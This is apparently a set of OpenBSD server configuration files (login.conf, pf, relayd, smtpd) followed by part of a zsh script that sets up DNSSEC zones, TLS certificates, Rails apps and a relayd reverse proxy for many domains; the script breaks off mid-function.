  directory index index.html
}

openbsd/etc/login.conf

# $OpenBSD: login.conf,v 1.27 2025/07/17 14:44:42 landry Exp $

#
# Sample login.conf file.  See login.conf(5) for details.
#

#
# Standard authentication styles:
#
# passwd	Use only the local password file
# chpass	Do not authenticate, but change user's password (change
#		the YP password if the user has one, else change the
#		local password)
# lchpass	Do not login; change user's local password instead
# ldap		Use LDAP authentication
# radius	Use RADIUS authentication
# reject	Use rejected authentication
# skey		Use S/Key authentication
# activ		ActivCard X9.9 token authentication
# crypto	CRYPTOCard X9.9 token authentication
# snk		Digital Pathways SecureNet Key authentication
# token		Generic X9.9 token authentication
# yubikey	YubiKey authentication
#

# Default allowed authentication styles
auth-defaults:auth=passwd,skey:

# Default allowed authentication styles for authentication type ftp
auth-ftp-defaults:auth-ftp=passwd:

#
# The default values
# To alter the default authentication types change the line:
#	:tc=auth-defaults:\
# to read something like: (enables passwd, "myauth", and activ)
#	:auth=passwd,myauth,activ:\
# Any value changed in the daemon class should be reset in default
# class.
#
default:\
	:path=/usr/bin /bin /usr/sbin /sbin /usr/X11R6/bin /usr/local/bin /usr/local/sbin:\
	:umask=022:\
	:datasize-max=1536M:\
	:datasize-cur=1536M:\
	:maxproc-max=256:\
	:maxproc-cur=128:\
	:openfiles-max=1024:\
	:openfiles-cur=512:\
	:stacksize-cur=4M:\
	:localcipher=blowfish,a:\
	:tc=auth-defaults:\
	:tc=auth-ftp-defaults:

#
# Settings used by /etc/rc and root
# This must be set properly for daemons started as root by inetd as well.
# Be sure to reset these values to system defaults in the default class!
#
daemon:\
	:ignorenologin:\
	:datasize=4096M:\
	:maxproc=infinity:\
	:openfiles-max=1024:\
	:openfiles-cur=128:\
	:stacksize-cur=8M:\
	:tc=default:

#
# Staff have fewer restrictions and can login even when nologins are set.
#
staff:\
	:datasize-cur=1536M:\
	:datasize-max=infinity:\
	:maxproc-max=512:\
	:maxproc-cur=256:\
	:ignorenologin:\
	:requirehome@:\
	:tc=default:

#
# Authpf accounts get a special motd and shell
#
authpf:\
	:welcome=/etc/motd.authpf:\
	:shell=/usr/sbin/authpf:\
	:tc=default:

#
# Building LLVM in base requires higher limits
#
build:\
	:datasize-max=1843M:\
	:datasize-cur=1843M:\
	:tc=default:

#
# Building ports with DPB uses raised limits
#
pbuild:\
	:datasize-max=infinity:\
	:datasize-cur=12G:\
	:maxproc-max=1024:\
	:maxproc-cur=512:\
	:stacksize-cur=8M:\
	:priority=5:\
	:tc=default:

#
# Override resource limits for certain daemons started by rc.d(8)
#
rails:\
	:datasize=4096M:\
	:openfiles-max=4096:\
	:openfiles-cur=2048:\
	:maxproc-max=512:\
	:maxproc-cur=256:\
	:tc=daemon:

bgpd:\
	:datasize=16384M:\
	:openfiles=512:\
	:tc=daemon:

unbound:\
	:openfiles=512:\
	:tc=daemon:

vmd:\
	:datasize=16384M:\
	:tc=daemon:

xenodm:\
	:openfiles=512:\
	:tc=daemon:

openbsd/etc/mail/smtpd.conf

table aliases file:/etc/mail/aliases

listen on socket
listen on lo0

action "local_mail" mbox alias <aliases>
action "outbound" relay

match from local for local action "local_mail"
match from local for any action "outbound"

openbsd/etc/pf.conf

ext_if = "vio0"
brgen_ip = "46.23.89.226"
hyp_ip = "194.63.248.53"

table <bruteforce> persist

set skip on lo
set block-policy drop

match in all scrub (no-df random-id max-mss 1440)

antispoof quick for $ext_if

block log all

# Bruteforce table: block first, evaluated quick before pass rules
block quick from <bruteforce>

pass out on $ext_if all keep state

# SSH: rate-limit and feed brutes into table
pass in on $ext_if inet proto tcp to $ext_if port 22 \
  keep state (max-src-conn 10, max-src-conn-rate 5/30, \
  overload <bruteforce> flush global)

# DNS (authoritative NSD)
pass in on $ext_if inet proto { tcp, udp } to $brgen_ip port 53 keep state
pass in on $ext_if inet proto udp to $hyp_ip port 53 keep state

# HTTP/HTTPS: rate-limit new connections
pass in on $ext_if inet proto tcp to $ext_if port 80 \
  keep state (max-src-conn-rate 200/10, overload <bruteforce> flush global)
pass in on $ext_if inet proto tcp to $ext_if port 443 \
  keep state (max-src-conn-rate 500/10, overload <bruteforce> flush global)

pass inet proto icmp all icmp-type { echoreq, unreach, timex }

anchor "relayd/*"

openbsd/etc/pf.stage1.conf

# Minimal PF for Stage 1 per pf.conf(5) - OpenBSD 7.8
ext_if = "vio0"
brgen_ip = "$BRGEN_IP"
hyp_ip = "$HYP_IP"
set skip on lo
set block-policy return
block log all
pass out on \$ext_if all
pass in on \$ext_if inet proto tcp to \$ext_if port 22 keep state
pass in on \$ext_if inet proto { tcp, udp } to \$brgen_ip port 53 keep state
pass in on \$ext_if inet proto udp to \$hyp_ip port 53 keep state
pass in on \$ext_if inet proto tcp to \$ext_if port 80 keep state
pass inet proto icmp all icmp-type { echoreq, unreach, timex }

openbsd/etc/relayd.conf

log connection errors

table <brgen> { 127.0.0.1 }
table <amber> { 127.0.0.1 }
table <master> { 127.0.0.1 }
table <bsdports> { 127.0.0.1 }
table <baibl> { 127.0.0.1 }

http protocol "https_proxy" {
  tls keypair "brgen.no"
  tls keypair "amber.brgen.no"
  tls keypair "bsdports.org"
  match request header set "X-Forwarded-Proto" value "https"
  match request header set "X-Forwarded-For" value "$REMOTE_ADDR"
  match response header set "Strict-Transport-Security" value "max-age=31536000; includeSubDomains; preload"
  match response header set "Content-Security-Policy" value "upgrade-insecure-requests; default-src https: 'self' 'unsafe-inline' blob:; media-src 'self' blob:; connect-src 'self'"
  match response header set "Referrer-Policy" value "strict-origin"
  match response header set "X-Content-Type-Options" value "nosniff"
  match response header set "X-Frame-Options" value "SAMEORIGIN"
  match response header set "X-XSS-Protection" value "0"
  match response header set "Permissions-Policy" value "accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()"
  match response header remove "Server"
  http websockets
  match request header "Host" value "brgen.no" forward to <brgen>
  match request header "Host" value "www.brgen.no" forward to <brgen>
  match request header "Host" value "tv.brgen.no" forward to <brgen>
  match request header "Host" value "dating.brgen.no" forward to <brgen>
  match request header "Host" value "playlist.brgen.no" forward to <brgen>
  match request header "Host" value "takeaway.brgen.no" forward to <brgen>
  match request header "Host" value "markedsplass.brgen.no" forward to <brgen>
  match request header "Host" value "amber.brgen.no" forward to <amber>
  match request header "Host" value "ai.brgen.no" forward to <master>
  match request header "Host" value "bsdports.org" forward to <bsdports>
  match request header "Host" value "baibl.no" forward to <baibl>
  pass
}

relay "https_in" {
  listen on 0.0.0.0 port 443 tls
  protocol "https_proxy"
  forward to <brgen> port 38182 check http "/" code 200
  forward to <amber> port 61352 check http "/" code 200
  forward to <master> port 53187 check http "/up" code 200
  forward to <bsdports> port 47312 check tcp
  forward to <baibl> port 10007 check tcp
}

openbsd/openbsd.sh

#!/usr/bin/env zsh
# Configure OpenBSD 7.8: NSD/DNSSEC, acme-client, Rails, pf, relayd, smtpd.
# Usage: doas zsh openbsd.sh [--help]
# VERIFIED AGAINST: OpenBSD 7.8 manual pages (2026-01-06)

set -euo pipefail
setopt no_unset nullglob local_traps
zmodload zsh/regex
zmodload zsh/datetime

typeset -a TMPFILES
SCRIPT_DIR=${0:a:h}

# Helpers inlined ( _lib.sh removed for ONE_SOURCE/singularity). Pure Zsh: log, backup_directory, install_*, sync_openbsd_configs (now ships .zshrc to /home/dev too).
log() {
  typeset level=$1; shift
  print -r -- "[$(date +'%Y-%m-%d %H:%M:%S')] [$level] $*" | tee -a /var/log/openbsd_setup.log >&2
}
log_info()  { log INFO "$@" }
log_error() { log ERROR "$@" }

transaction_log() {
  typeset operation=$1 target=$2 op_status=$3 metadata=${4:-}
  print -r -- "[$(date +'%Y-%m-%d %H:%M:%S')] [$operation] $target | Status: $op_status | $metadata" \
    >> /var/log/openbsd_transactions.log
}

cleanup() {
  typeset exit_code=$?
  for tmpfile in "${TMPFILES[@]}"; do
    [[ -n $tmpfile && -f $tmpfile ]] && rm -f "$tmpfile"
  done
  return $exit_code
}

error_handler() {
  typeset exit_code=$1 line_num=$2
  log ERROR "Script failed with exit code $exit_code at line $line_num"
  cleanup
  exit $exit_code
}

backup_directory() {
  typeset target_dir=$1 backup_name=${2:-${1:t}}
  typeset backup_dir=/var/backups/openbsd_setup
  typeset backup_file="$backup_dir/${backup_name}-${EPOCHSECONDS}.tar.gz"
  [[ ! -d $backup_dir ]] && mkdir -p "$backup_dir"
  [[ ! -d $target_dir ]] && { log WARN "Directory $target_dir does not exist, skipping backup"; return 0 }
  log INFO "Backing up $target_dir to $backup_file"
  transaction_log "BACKUP" "$target_dir" "START"
  if tar -czf "$backup_file" -C "${target_dir:h}" "${target_dir:t}" 2>/dev/null; then
    transaction_log "BACKUP" "$target_dir" "SUCCESS" "$backup_file"
    typeset -a _bfiles; _bfiles=("$backup_dir"/${backup_name}-*.tar.gz(N))
    (( ${#_bfiles} > 10 )) && {
      typeset -a _sorted; _sorted=("$backup_dir"/${backup_name}-*.tar.gz(NOm))
      for _f in "${_sorted[@]:10}"; do rm -f "$_f"; done
    }
    echo "$backup_file"
    return 0
  else
    transaction_log "BACKUP" "$target_dir" "FAILURE"
    log ERROR "Backup failed for $target_dir"
    return 1
  fi
}

install_template() {
  typeset src=${SCRIPT_DIR}/$1 dst=$2
  [[ -f $src ]] || { log ERROR "Missing template: $src"; exit 1 }
  typeset content; content=$(<"$src")
  eval "cat > \"$dst\" <<INSTALL_TEMPLATE_EOF
$content
INSTALL_TEMPLATE_EOF"
}

append_template() {
  typeset src=${SCRIPT_DIR}/$1 dst=$2
  [[ -f $src ]] || { log ERROR "Missing template: $src"; exit 1 }
  typeset content; content=$(<"$src")
  eval "cat >> \"$dst\" <<APPEND_TEMPLATE_EOF
$content
APPEND_TEMPLATE_EOF"
}

install_static() {
  typeset src=${SCRIPT_DIR}/$1 dst=$2
  [[ -f $src ]] || { log ERROR "Missing file: $src"; exit 1 }
  cp "$src" "$dst"
}

is_step_completed()  { [[ -f "${STATE_FILE}.steps" ]] && [[ $(<"${STATE_FILE}.steps") == *"$1"* ]] }
mark_step_completed() { print -r -- "$1" >> "${STATE_FILE}.steps" }

# Safe pure-Zsh sync for DEPLOY/openbsd tree (used on target VPS)
# Usage: sync_openbsd_configs /path/to/checked-out/DEPLOY/openbsd
sync_openbsd_configs() {
  typeset src=${1:-.}
  [[ -d $src/etc ]] || { log WARN "No etc/ in $src"; return 0 }
  backup_directory /etc "etc-pre-sync" || return 1
  for f in pf.conf rc.conf.local relayd.conf httpd.conf acme-client.conf doas.conf login.conf; do
    [[ -e $src/etc/$f ]] && cp -R "$src/etc/$f" /etc/ && log INFO "synced /etc/$f"
  done
  [[ -d $src/etc/rc.d ]] && cp -R "$src/etc/rc.d/"* /etc/rc.d/ 2>/dev/null || true
  [[ -d $src/usr/local/bin ]] && cp -R "$src/usr/local/bin/"* /usr/local/bin/ 2>/dev/null || true
  # Also sync user env .zshrc if present (compare/sync with live model)
  if [[ -f $src/etc/.zshrc ]]; then
    install -d -o dev -g dev -m 700 /home/dev 2>/dev/null || true
    cp "$src/etc/.zshrc" /home/dev/.zshrc
    chown dev:dev /home/dev/.zshrc 2>/dev/null || true
    chmod 644 /home/dev/.zshrc 2>/dev/null || true
    log INFO "synced .zshrc to /home/dev (VPS dev env)"
  fi
  log INFO "OpenBSD config tree sync complete (with backup)"
}

source "${SCRIPT_DIR}/_net.sh"

trap 'cleanup' EXIT
trap 'error_handler $? $LINENO' ERR INT TERM

typeset -r BRGEN_IP="46.23.89.226"
typeset -r HYP_IP="194.63.248.53"
typeset -r LOCALHOST="127.0.0.1"
typeset -r EMAIL_ADDRESS="bergen@pub.attorney"

typeset -a PUBLIC_RESOLVERS=(8.8.8.8 1.1.1.1 9.9.9.9)
typeset -A APP_PORTS
typeset -A FAILED_CERTS

validate_ip "$BRGEN_IP" || { log ERROR "Invalid BRGEN_IP: $BRGEN_IP"; exit 1 }
validate_ip "$HYP_IP"   || { log ERROR "Invalid HYP_IP: $HYP_IP"; exit 1 }

ALL_APPS=(
  brgen:brgen.no
  amber:amber.brgen.no
  bsdports:bsdports.org
  baibl:baibl.no
)

SERVICES=()

ALL_DOMAINS=(
  brgen.no:markedsplass,playlist,dating,tv,takeaway,maps,ai
  longyearbyn.no:markedsplass,playlist,dating,tv,takeaway,maps
  oshlo.no:markedsplass,playlist,dating,tv,takeaway,maps
  stvanger.no:markedsplass,playlist,dating,tv,takeaway,maps
  trmso.no:markedsplass,playlist,dating,tv,takeaway,maps
  trndheim.no:markedsplass,playlist,dating,tv,takeaway,maps
  reykjavk.is:markadur,playlist,dating,tv,takeaway,maps
  kbenhvn.dk:markedsplads,playlist,dating,tv,takeaway,maps
  gtebrg.se:marknadsplats,playlist,dating,tv,takeaway,maps
  mlmoe.se:marknadsplats,playlist,dating,tv,takeaway,maps
  stholm.se:marknadsplats,playlist,dating,tv,takeaway,maps
  hlsinki.fi:markkinapaikka,playlist,dating,tv,takeaway,maps
  brmingham.uk:marketplace,playlist,dating,tv,takeaway,maps
  cardff.uk:marketplace,playlist,dating,tv,takeaway,maps
  edinbrgh.uk:marketplace,playlist,dating,tv,takeaway,maps
  glasgw.uk:marketplace,playlist,dating,tv,takeaway,maps
  lndon.uk:marketplace,playlist,dating,tv,takeaway,maps
  lverpool.uk:marketplace,playlist,dating,tv,takeaway,maps
  mnchester.uk:marketplace,playlist,dating,tv,takeaway,maps
  amstrdam.nl:marktplaats,playlist,dating,tv,takeaway,maps
  rottrdam.nl:marktplaats,playlist,dating,tv,takeaway,maps
  utrcht.nl:marktplaats,playlist,dating,tv,takeaway,maps
  brssels.be:marche,playlist,dating,tv,takeaway,maps
  zrich.ch:marktplatz,playlist,dating,tv,takeaway,maps
  lchtenstein.li:marktplatz,playlist,dating,tv,takeaway,maps
  frankfrt.de:marktplatz,playlist,dating,tv,takeaway,maps
  brdeaux.fr:marche,playlist,dating,tv,takeaway,maps
  mrseille.fr:marche,playlist,dating,tv,takeaway,maps
  mlan.it:mercato,playlist,dating,tv,takeaway,maps
  lisbon.pt:mercado,playlist,dating,tv,takeaway,maps
  wrsawa.pl:marktplatz,playlist,dating,tv,takeaway,maps
  gdnsk.pl:marktplatz,playlist,dating,tv,takeaway,maps
  austn.us:marketplace,playlist,dating,tv,takeaway,maps
  chcago.us:marketplace,playlist,dating,tv,takeaway,maps
  denvr.us:marketplace,playlist,dating,tv,takeaway,maps
  dllas.us:marketplace,playlist,dating,tv,takeaway,maps
  dnver.us:marketplace,playlist,dating,tv,takeaway,maps
  dtroit.us:marketplace,playlist,dating,tv,takeaway,maps
  houstn.us:marketplace,playlist,dating,tv,takeaway,maps
  lsangeles.com:marketplace,playlist,dating,tv,takeaway,maps
  mnnesota.com:marketplace,playlist,dating,tv,takeaway,maps
  newyrk.us:marketplace,playlist,dating,tv,takeaway,maps
  prtland.com:marketplace,playlist,dating,tv,takeaway,maps
  wshingtondc.com:marketplace,playlist,dating,tv,takeaway,maps
  pub.healthcare
  pub.attorney
  freehelp.legal
  bsdports.org
  bsddocs.org
  discordb.org
  foodielicio.us
  stacyspassion.com
  antibettingblog.com
  anticasinoblog.com
  antigamblingblog.com
  foball.no
  amber.brgen.no
  baibl.no
)

# ── Stage 1: DNS, DNSSEC, TLS certificates ────────────────────────────────────

stage_1() {
  log INFO "Stage 1: DNS and certificates"

  typeset -a _df_root; _df_root=("${(@f)$(df -k /)}"); typeset _root_avail=${${(z)_df_root[2]}[4]}
  (( _root_avail < 10000 )) && { log ERROR "Insufficient disk space on /"; exit 1 }
  typeset -a _df_var; _df_var=("${(@f)$(df -k /var)}"); typeset _var_avail=${${(z)_df_var[2]}[4]}
  (( _var_avail < 512000 )) && { log ERROR "Insufficient disk space on /var"; exit 1 }

  pkg_add -U ldns-utils ruby%3.4 zap zsh fish neovim tmux fontconfig fzf ripgrep fd 2>/tmp/pkg_add.log \
    || { log ERROR "pkg_add failed. See /tmp/pkg_add.log"; exit 1 }

  [[ -f /etc/rc.conf.local && $(<"/etc/rc.conf.local") == *"pf=NO"* ]] && log WARN "pf disabled in rc.conf.local"
  ifconfig vio0 >/dev/null 2>&1 || { log ERROR "Interface vio0 not found"; exit 1 }

  /sbin/pfctl -d || log WARN "pf disable failed"
  /sbin/pfctl -e || { log ERROR "pf enable failed"; exit 1 }
  install_template etc/pf.stage1.conf /etc/pf.conf
  /sbin/pfctl -nf /etc/pf.conf || { log ERROR "pf.conf invalid"; exit 1 }
  /sbin/pfctl -f /etc/pf.conf  || { log ERROR "pf failed"; exit 1 }

  [[ -d /var/nsd/etc ]]          || { log ERROR "/var/nsd/etc missing"; exit 1 }
  [[ -d /var/nsd/zones/master ]] || { log ERROR "/var/nsd/zones/master missing"; exit 1 }

  backup_directory /var/nsd/zones/master nsd-zones || { log ERROR "Backup failed"; exit 1 }
  transaction_log "DELETE" "/var/nsd/etc/*" "START"
  rm -rf /var/nsd/etc/*(/) /var/nsd/zones/master/*(/)
  transaction_log "DELETE" "/var/nsd/etc/* and /var/nsd/zones/master/*" "SUCCESS"

  install_template var/nsd/etc/nsd.conf /var/nsd/etc/nsd.conf
  for domain in ${ALL_DOMAINS[*]%%:*}; do
    append_template var/nsd/etc/nsd-zone.tmpl /var/nsd/etc/nsd.conf
  done
  nsd-checkconf /var/nsd/etc/nsd.conf || { log ERROR "nsd.conf invalid"; exit 1 }

  typeset serial=${$(date +%Y%m%d%H):-}
  for domain_entry in $ALL_DOMAINS; do
    typeset domain=${domain_entry%%:*}
    typeset subdomains=${domain_entry#*:}
    [[ $subdomains = $domain ]] && subdomains=""

    install_template var/nsd/zones/master/zone.tmpl /var/nsd/zones/master/$domain.zone
    [[ $domain = brgen.no ]] && print -r -- "ns IN A $BRGEN_IP" >> /var/nsd/zones/master/$domain.zone

    if [[ -n $subdomains && $subdomains != $domain ]]; then
      for subdomain in ${(s:,:):-$subdomains}; do
        print -r -- "$subdomain IN A $BRGEN_IP" >> /var/nsd/zones/master/$domain.zone
      done
    fi

    nsd-checkzone "$domain" /var/nsd/zones/master/$domain.zone \
      || { log ERROR "Zone invalid for $domain"; exit 1 }

    cd /var/nsd/zones/master
    typeset zsk ksk
    zsk=$(ldns-keygen -a ECDSAP256SHA256 "$domain")
    ksk=$(ldns-keygen -k -a ECDSAP256SHA256 -b 2048 "$domain")

    typeset zonefile=/var/nsd/zones/master/$domain.zone
    typeset signed_zonefile=/var/nsd/zones/master/$domain.zone.signed
    typeset salt=$(dd if=/dev/random bs=16 count=1 2>/dev/null | sha1 -q)
    ldns-signzone -n -p -s "$salt" "$zonefile" "$zsk" "$ksk"
    nsd-checkzone "$domain" "$signed_zonefile" || { log ERROR "Signed zone invalid for $domain"; exit 1 }

    nsd-control reload 2>/dev/null || true
    ldns-key2ds -n -2 /var/nsd/zones/master/$domain.zone.signed > /var/nsd/zones/master/$domain.ds
    chown _nsd:_nsd /var/nsd/zones/master/*
    chmod 640 /var/nsd/zones/master/*
  done

  [[ ! -f /var/nsd/etc/nsd_server.pem ]] && {
    log INFO "Generating NSD control certificates"
    cd /var/nsd/etc && nsd-control-setup || { log ERROR "nsd-control-setup failed"; exit 1 }
  }

  cleanup_nsd
  /usr/sbin/rcctl enable nsd

  typeset retries=0 max_retries=2
  while (( retries <= max_retries )); do
    /usr/bin/timeout 10 /usr/sbin/rcctl start nsd && break
    (( retries++ ))
    (( retries <= max_retries )) && cleanup_nsd || { log ERROR "nsd failed"; exit 1 }
  done

  sleep 5
  typeset _nsd_check; _nsd_check=$(/usr/sbin/rcctl check nsd)
  [[ $_nsd_check == *"nsd(ok)"* ]] || { log ERROR "nsd not running"; exit 1 }
  verify_nsd

  [[ -d /var/www/acme ]] || mkdir -p /var/www/acme
  install_static etc/httpd.conf /etc/httpd.conf
  httpd -n -f /etc/httpd.conf || { log ERROR "httpd.conf invalid"; exit 1 }
  /usr/sbin/rcctl enable httpd
  /usr/sbin/rcctl start httpd || { log ERROR "httpd failed"; exit 1 }
  sleep 5
  typeset _httpd_check; _httpd_check=$(/usr/sbin/rcctl check httpd)
  [[ $_httpd_check == *"httpd(ok)"* ]] || { log ERROR "httpd not running"; exit 1 }

  # httpd strips /.well-known/acme-challenge/ and serves from /var/www/acme/<token>
  print -r -- test > /var/www/acme/test
  typeset http_status=${$(curl -s -o /dev/null -w "%{http_code}" http://$BRGEN_IP/.well-known/acme-challenge/test):-000}
  rm -f /var/www/acme/test
  [[ $http_status == "200" ]] || { log ERROR "httpd pre-flight failed (HTTP $http_status)"; exit 1 }

  [[ $(<"/etc/group") == *$'\n_acme:'* || $(<"/etc/group") == _acme:* ]] || groupadd -g 765 _acme
  [[ ! -f /etc/acme/letsencrypt_privkey.pem ]] && \
    openssl genpkey -algorithm RSA -out /etc/acme/letsencrypt_privkey.pem -pkeyopt rsa_keygen_bits:4096
  chown root:_acme /etc/acme/letsencrypt_privkey.pem
  chmod 640 /etc/acme/letsencrypt_privkey.pem

  install_static etc/acme-client.conf /etc/acme-client.conf
  for domain_entry in $ALL_DOMAINS; do
    typeset domain=${domain_entry%%:*}
    typeset subdomains=${domain_entry#*:}
    [[ $subdomains = $domain ]] && subdomains=""
    {
      print -r -- "domain \"$domain\" {"
      if [[ -n $subdomains ]]; then
        typeset altnames="\"$domain\""
        for sub in ${(s:,:)subdomains}; do altnames="$altnames \"$sub.$domain\""; done
        print -r -- "  alternative names { $altnames }"
      fi
      print -r -- "  domain key \"/etc/ssl/private/$domain.key\""
      print -r -- "  domain full chain certificate \"/etc/ssl/$domain.fullchain.pem\""
      print -r -- "  sign with letsencrypt"
      print -r -- "  challengedir \"/var/www/acme\""
      print -r -- "}"
      print -r -- ""
    } >> /etc/acme-client.conf
  done
  acme-client -n -f /etc/acme-client.conf || { log ERROR "acme-client.conf invalid"; exit 1 }

  for domain_entry in $ALL_DOMAINS; do
    typeset domain=${domain_entry%%:*}
    typeset dns_check=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" A +short):-}
    if [[ $dns_check != $BRGEN_IP ]]; then
      log WARN "DNS for $domain failed"; FAILED_CERTS[$domain]=1; continue
    fi
    print -r -- "test_$domain" > /var/www/acme/test_$domain
    typeset http_status=${$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $domain" http://$BRGEN_IP/.well-known/acme-challenge/test_$domain):-000}
    rm -f /var/www/acme/test_$domain
    if [[ $http_status != 200 ]]; then
      log WARN "HTTP test for $domain failed"; FAILED_CERTS[$domain]=1; continue
    fi
    if acme-client -v -f /etc/acme-client.conf "$domain"; then
      generate_tlsa_record "$domain"
    else
      log WARN "Certificate issuance failed for $domain"; FAILED_CERTS[$domain]=1
    fi
  done
  (( $#FAILED_CERTS )) && retry_failed_certs

  install_static usr/local/bin/renew-certs.sh /usr/local/bin/renew-certs.sh
  chmod 755 /usr/local/bin/renew-certs.sh
  typeset crontab_tmp=/tmp/crontab_tmp
  crontab -l 2>/dev/null > $crontab_tmp || :
  print -r -- "0 2 * * 1 /usr/local/bin/renew-certs.sh >> /var/log/cert-renewal.log 2>&1" >> $crontab_tmp
  crontab $crontab_tmp || { log ERROR "Crontab update failed"; exit 1 }
  rm $crontab_tmp

  log INFO "Stage 1 complete. ns.brgen.no ($BRGEN_IP) authoritative with DNSSEC."
  log INFO "DS records: /var/nsd/zones/master/*.ds — submit each to your registrar (Domeneshop: domain settings → DNSSEC)."
  log INFO "After submitting DS records, wait 24-48h for propagation, then press Enter to continue."
  log INFO "Verify with: dig DS brgen.no +short"
  read -r
}

# ── Stage 2: services, Rails apps, relayd ─────────────────────────────────────

setup_services() {
  log INFO "Setting up services"
  /usr/sbin/rcctl enable smtpd
  /usr/sbin/rcctl start smtpd || { log ERROR "smtpd failed"; exit 1 }
  sleep 5
  typeset _smtpd_check; _smtpd_check=$(/usr/sbin/rcctl check smtpd)
  [[ $_smtpd_check == *"smtpd(ok)"* ]] || { log ERROR "smtpd not running"; exit 1 }
  /usr/bin/timeout 5 telnet $BRGEN_IP 25 >/dev/null 2>&1 || log WARN "SMTP port 25 not responding"
  /usr/sbin/rcctl enable relayd
  log INFO "Services configured. relayd enabled but not started (awaiting configuration)"
}

bootstrap_rails_app() {
  typeset app=$1 port=$2
  typeset src=/home/dev/pub4/DEPLOY/rails/$app/app
  typeset app_dir=/home/$app/app
  typeset bundle_home=/home/$app/.bundle
  typeset secret

  [[ -d $src ]] || { log ERROR "source tree missing: $src"; return 1 }
  log INFO "bootstrapping $app -> $app_dir on :$port"

  id "$app" >/dev/null 2>&1 || useradd -m -L daemon -s /bin/ksh "$app"
  mkdir -p "$app_dir"
  cp -R "${src}/." "${app_dir}/"
  chown -R "${app}:${app}" "/home/$app"

  if [[ ! -d $bundle_home/gems && $app != amber && -d /home/amber/.bundle/gems ]]; then
    log INFO "  seeding gems from amber donor"
    mkdir -p "$bundle_home"
    cp -R /home/amber/.bundle/gems "$bundle_home/"
    chown -R "${app}:${app}" "$bundle_home"
    mkdir -p "$app_dir/.bundle"
    print -r -- "---" > "$app_dir/.bundle/config"
    print -r -- "BUNDLE_PATH: \"${bundle_home}/gems\"" >> "$app_dir/.bundle/config"
    chown "${app}:${app}" "$app_dir/.bundle/config"
  fi

  su -l "$app" -c "gem install --user-install rails bundler falcon" >/dev/null 2>&1 || :
  su -l "$app" -c "cd $app_dir && bundle config set --local deployment true && bundle config set --local without development:test && RAILS_ENV=production bundle install" \
    || { log ERROR "bundle install failed for $app"; return 1 }
  su -l "$app" -c "cd $app_dir && RAILS_ENV=production bin/rails db:create db:migrate" \
    || log WARN "db:create/migrate non-zero for $app (idempotent skip likely)"
  [[ -f $app_dir/db/seeds.rb ]] && \
    su -l "$app" -c "cd $app_dir && RAILS_ENV=production bin/rails db:seed" || :

  typeset -a _secret_lines
  _secret_lines=("${(@f)$(su -l "$app" -c "cd $app_dir && RAILS_ENV=production bundle exec rails secret 2>/dev/null")}")
  secret=${_secret_lines[-1]}
  [[ ${#secret} -ge 64 ]] || { log ERROR "$app: secret capture failed (got ${#secret} chars)"; return 1 }
  install_template etc/rc.d/rails-app.tmpl /etc/rc.d/$app
  chmod 755 /etc/rc.d/$app
  /usr/sbin/rcctl enable $app
  /usr/sbin/rcctl restart $app || /usr/sbin/rcctl start $app \
    || { log ERROR "$app failed to start"; return 1 }
  sleep 5
  typeset _c; _c=$(/usr/sbin/rcctl check $app)
  [[ $_c == *"${app}(ok)"* ]] || { log ERROR "$app not running"; return 1 }
  typeset _http; _http=$(curl -s -o /dev/null -w "%{http_code}" --max-time 10 http://127.0.0.1:${port}/up 2>/dev/null)
  [[ $_http == "200" ]] || log WARN "$app /up returned $_http — SECRET_KEY_BASE or DB may need attention"
  log INFO "  $app live on :$port"
}

configure_relayd() {
  log INFO "Writing relayd.conf (TLS+SNI on :443)"

  typeset -A DOMAIN_BACKEND=() BACKEND_PORT=()
  typeset app_entry app dom entry rest sub backend

  for app_entry in $ALL_APPS; do
    app=${app_entry%%:*}; dom=${app_entry##*:}
    DOMAIN_BACKEND[$dom]=$app
    BACKEND_PORT[$app]=${APP_PORTS[$app]:-0}
  done
  DOMAIN_BACKEND[ai.brgen.no]=master
  BACKEND_PORT[master]=${BACKEND_PORT[master]:-53187}
  for entry in $ALL_DOMAINS; do
    dom=${entry%%:*}
    [[ -n ${DOMAIN_BACKEND[$dom]:-} ]] && continue
    DOMAIN_BACKEND[$dom]=brgen
  done

  for dom in ${(k)DOMAIN_BACKEND}; do
    [[ -f /etc/ssl/${dom}.fullchain.pem ]] || continue
    ln -sf /etc/ssl/${dom}.fullchain.pem /etc/ssl/${dom}.crt
  done

  {
    print -r -- "log connection errors"
    print -r -- ""
    for backend in ${(k)BACKEND_PORT}; do
      print -r -- "table <${backend}> { 127.0.0.1 }"
    done
    print -r -- ""
    print -r -- "http protocol \"https_proxy\" {"
    for dom in ${(k)DOMAIN_BACKEND}; do
      [[ -L /etc/ssl/${dom}.crt ]] && print -r -- "  tls keypair \"${dom}\""
    done
    print -r -- "  match request header set \"X-Forwarded-Proto\" value \"https\""
    print -r -- "  match request header set \"X-Forwarded-For\"   value \"\$REMOTE_ADDR\""
    print -r -- "  match response header set \"Strict-Transport-Security\" value \"max-age=31536000; includeSubDomains; preload\""
    print -r -- "  match response header set \"Content-Security-Policy\" value \"upgrade-insecure-requests; default-src https: 'self'\""
    print -r -- "  match response header set \"Referrer-Policy\" value \"strict-origin\""
    print -r -- "  match response header set \"X-Content-Type-Options\" value \"nosniff\""
    print -r -- "  match response header set \"X-Frame-Options\" value \"SAMEORIGIN\""
    print -r -- "  match response header set \"X-XSS-Protection\" value \"1; mode=block\""
    print -r -- "  http websockets"
    for dom in ${(k)DOMAIN_BACKEND}; do
      backend=${DOMAIN_BACKEND[$dom]}
      print -r -- "  match request header \"Host\" value \"${dom}\" forward to <${backend}>"
      for entry in $ALL_DOMAINS; do
        [[ ${entry%%:*} == $dom ]] || continue
        rest=${entry#*:}
        [[ $rest == $dom ]] && break
        for sub in ${(s:,:)rest}; do
          [[ -n ${DOMAIN_BACKEND[${sub}.${dom}]:-} ]] && continue
          print -r -- "  match request header \"Host\" value \"${sub}.${dom}\" forward to <${backend}>"
        done
        break
      done
    done
    print -r -- "  pass"
    print -r -- "}"
    print -r -- ""
    print -r -- "relay \"https_in\" {"
    print -r -- "  listen on 0.0.0.0 port 443 tls"
    print -r -- "  protocol \"https_proxy\""
    for backend in ${(k)BACKEND_PORT}; do
      print -r -- "  forward to <${backend}> port ${BACKEND_PORT[$backend]} check tcp"
    done
    print -r -- "}"
  } > /etc/relayd.conf

  relayd -n -f /etc/relayd.conf || { log ERROR "relayd.conf invalid"; exit 1 }
  /usr/sbin/rcctl enable relayd
  /usr/sbin/rcctl restart relayd || /usr/sbin/rcctl start relayd \
    || { log ERROR "relayd failed"; exit 1 }
  sleep 3
